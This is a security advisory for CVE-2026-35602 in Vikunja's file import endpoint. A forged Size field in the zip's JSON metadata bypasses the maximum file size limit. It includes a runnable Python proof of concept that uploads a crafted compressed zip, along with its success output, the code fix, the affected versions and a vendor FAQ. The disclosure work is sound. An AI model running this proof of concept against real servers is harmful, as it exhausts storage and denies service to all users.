CVE-2026-35602

The Vikunja file import endpoint uses the attacker-controlled Size field from the JSON metadata inside the import zip instead of the actual decompressed file content length for the file size enforcement check. By setting Size to 0 in the JSON while including large compressed file entries in the zip, an attacker bypasses the configured maximum file size limit.

Details

During import, the JSON metadata from data.json inside the zip archive is deserialized into project structures. File content is read independently from the zip entries. When creating attachments, the code at pkg/modules/migration/create_from_structure.go:406 passes the attacker-controlled File.Size from the JSON:

err = a.NewAttachment(s, bytes.NewReader(a.File.FileContent), a.File.Name, a.File.Size, user)

The file size enforcement check at pkg/files/files.go:118 then evaluates this attacker-controlled value:

if realsize > config.GetMaxFileSizeInMBytes()*uint64(datasize.MB) && checkFileSizeLimit {

With Size set to 0 in the JSON, the comparison 0 > 20MB evaluates to false and the check passes. The actual file content (from the zip entry) can be up to 500MB per entry (the readZipEntry limit). Highly compressible content like zero-filled buffers achieves extreme compression ratios, allowing a small zip upload to store gigabytes of data.

Proof of Concept

Tested on Vikunja v2.2.2 with default max_file_size: 20MB.

import zipfile, io, json, requests

TARGET = "http://localhost:3456"
token = requests.post(f"{TARGET}/api/v1/login",
    json={"username": "user1", "password": "User1pass!"}).json()["token"]
h = {"Authorization": f"Bearer {token}"}

# Craft zip with forged Size=0 in JSON but 25MB actual content
large_content = b"A" * (25 * 1024 * 1024)  # 25MB
data = [{"title": "Project", "tasks": [{"title": "Task", "attachments": [{
    "file": {"name": "large.bin", "size": 0, "created": "2026-01-01T00:00:00Z"},
    "created": "2026-01-01T00:00:00Z"}]}]}]

zip_buf = io.BytesIO()
with zipfile.ZipFile(zip_buf, 'w', zipfile.ZIP_DEFLATED) as zf:
    zf.writestr("VERSION", "2.2.2")
    zf.writestr("data.json", json.dumps(data))
    zf.writestr("large.bin", large_content)

resp = requests.put(f"{TARGET}/api/v1/migration/vikunja-file/migrate",
    headers=h,
    files={"import": ("export.zip", zip_buf.getvalue(), "application/zip")})

Output:

HTTP 200: {"message": "Everything was migrated successfully."}
25MB file stored despite 20MB server limit.

An authenticated user can exhaust server storage by uploading small compressed zip files that decompress into files exceeding the configured maximum file size limit. A single ~25KB upload can store ~25MB due to zip compression ratios. Repeated exploitation can fill the server's disk, causing denial of service for all users. No per-user storage quota exists to contain the impact.

The application allocates resources such as memory, threads, or file descriptors based on untrusted input without enforcing a cap. Typical impact: resource exhaustion leading to denial of service.

CVE-2026-35602 has a CVSS score of 5.4 (Medium). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.3.0); upgrading removes the vulnerable code path.

Kodem intelligence

Use the actual content length instead of the attacker-controlled Size field:

err = a.NewAttachment(s, bytes.NewReader(a.File.FileContent), a.File.Name, uint64(len(a.File.FileContent)), user)

Found and reported by aisafe.io

1. What is CVE-2026-35602? CVE-2026-35602 is a medium-severity allocation of resources without limits or throttling vulnerability in code.vikunja.io/api (go), affecting versions <= 2.2.2. It is fixed in 2.3.0. The application allocates resources such as memory, threads, or file descriptors based on untrusted input without enforcing a cap.
2. How severe is CVE-2026-35602? CVE-2026-35602 has a CVSS score of 5.4 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of code.vikunja.io/api are affected by CVE-2026-35602? code.vikunja.io/api (go) versions <= 2.2.2 is affected.
4. Is there a fix for CVE-2026-35602? Yes. CVE-2026-35602 is fixed in 2.3.0. Upgrade to this version or later.
5. Is CVE-2026-35602 exploitable, and should I be worried? Whether CVE-2026-35602 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-35602 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-35602? Upgrade code.vikunja.io/api to 2.3.0 or later.